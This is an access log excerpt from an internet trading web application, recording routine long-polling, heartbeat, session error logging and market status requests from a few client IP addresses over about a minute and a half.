[09/Jan/2026:11:24:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929370261 HTTP/1.1" -
[09/Jan/2026:11:24:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929368297 HTTP/1.1" -
[09/Jan/2026:11:25:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929369504 HTTP/1.1" -
[09/Jan/2026:11:25:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929386224 HTTP/1.1" -
[09/Jan/2026:11:25:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929375333 HTTP/1.1" -
[09/Jan/2026:11:25:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929373325 HTTP/1.1" -
[09/Jan/2026:11:25:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929374597 HTTP/1.1" -
[09/Jan/2026:11:25:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929392229 HTTP/1.1" -
[09/Jan/2026:11:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929380482 HTTP/1.1" -
[09/Jan/2026:11:25:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929378377 HTTP/1.1" -
[09/Jan/2026:11:25:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929379665 HTTP/1.1" -
[09/Jan/2026:11:25:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929385646 HTTP/1.1" -
[09/Jan/2026:11:25:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929383516 HTTP/1.1" -
[09/Jan/2026:11:25:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929398237 HTTP/1.1" -
[09/Jan/2026:11:25:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929384738 HTTP/1.1" -
[09/Jan/2026:11:25:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929390792 HTTP/1.1" -
[09/Jan/2026:11:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929388555 HTTP/1.1" -
[09/Jan/2026:11:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:25:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:25:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929404228 HTTP/1.1" -
[09/Jan/2026:11:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:25:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929389825 HTTP/1.1" -
[09/Jan/2026:11:25:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:25:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929395920 HTTP/1.1" -
[09/Jan/2026:11:25:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929393588 HTTP/1.1" -
[09/Jan/2026:11:25:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929410236 HTTP/1.1" -
[09/Jan/2026:11:25:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929394882 HTTP/1.1" -
[09/Jan/2026:11:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:11:25:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929400984 HTTP/1.1" -
[09/Jan/2026:11:25:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929399927 HTTP/1.1" -
[09/Jan/2026:11:25:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929416229 HTTP/1.1" -
[09/Jan/2026:11:25:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929406122 HTTP/1.1" -
[09/Jan/2026:11:25:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929405029 HTTP/1.1" -
[09/Jan/2026:11:25:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929422235 HTTP/1.1" -
[09/Jan/2026:11:25:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:25:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:25:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929411218 HTTP/1.1" -
[09/Jan/2026:11:25:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929410132 HTTP/1.1" -
[09/Jan/2026:11:25:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929428234 HTTP/1.1" -
[09/Jan/2026:11:25:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929416357 HTTP/1.1" -
[09/Jan/2026:11:25:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929415201 HTTP/1.1" -
[09/Jan/2026:11:25:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929421494 HTTP/1.1" -
[09/Jan/2026:11:25:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:25:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929434235 HTTP/1.1" -
[09/Jan/2026:11:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:25:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:25:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:25:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929420275 HTTP/1.1" -
[09/Jan/2026:11:25:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929426621 HTTP/1.1" -
[09/Jan/2026:11:25:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929440226 HTTP/1.1" -
[09/Jan/2026:11:25:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929425300 HTTP/1.1" -
[09/Jan/2026:11:26:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929431688 HTTP/1.1" -
[09/Jan/2026:11:26:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929446223 HTTP/1.1" -
[09/Jan/2026:11:26:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929430389 HTTP/1.1" -
[09/Jan/2026:11:26:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929436803 HTTP/1.1" -
[09/Jan/2026:11:26:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929435462 HTTP/1.1" -
[09/Jan/2026:11:26:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929452223 HTTP/1.1" -
[09/Jan/2026:11:26:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929441946 HTTP/1.1" -
[09/Jan/2026:11:26:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929440583 HTTP/1.1" -
[09/Jan/2026:11:26:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929458234 HTTP/1.1" -
[09/Jan/2026:11:26:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929447086 HTTP/1.1" -
[09/Jan/2026:11:26:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929445661 HTTP/1.1" -
[09/Jan/2026:11:26:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:26:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929464235 HTTP/1.1" -
[09/Jan/2026:11:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929452240 HTTP/1.1" -
[09/Jan/2026:11:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:26:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:26:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929450729 HTTP/1.1" -
[09/Jan/2026:11:26:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929457453 HTTP/1.1" -
[09/Jan/2026:11:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929470228 HTTP/1.1" -
[09/Jan/2026:11:26:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929455848 HTTP/1.1" -
[09/Jan/2026:11:26:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929462512 HTTP/1.1" -
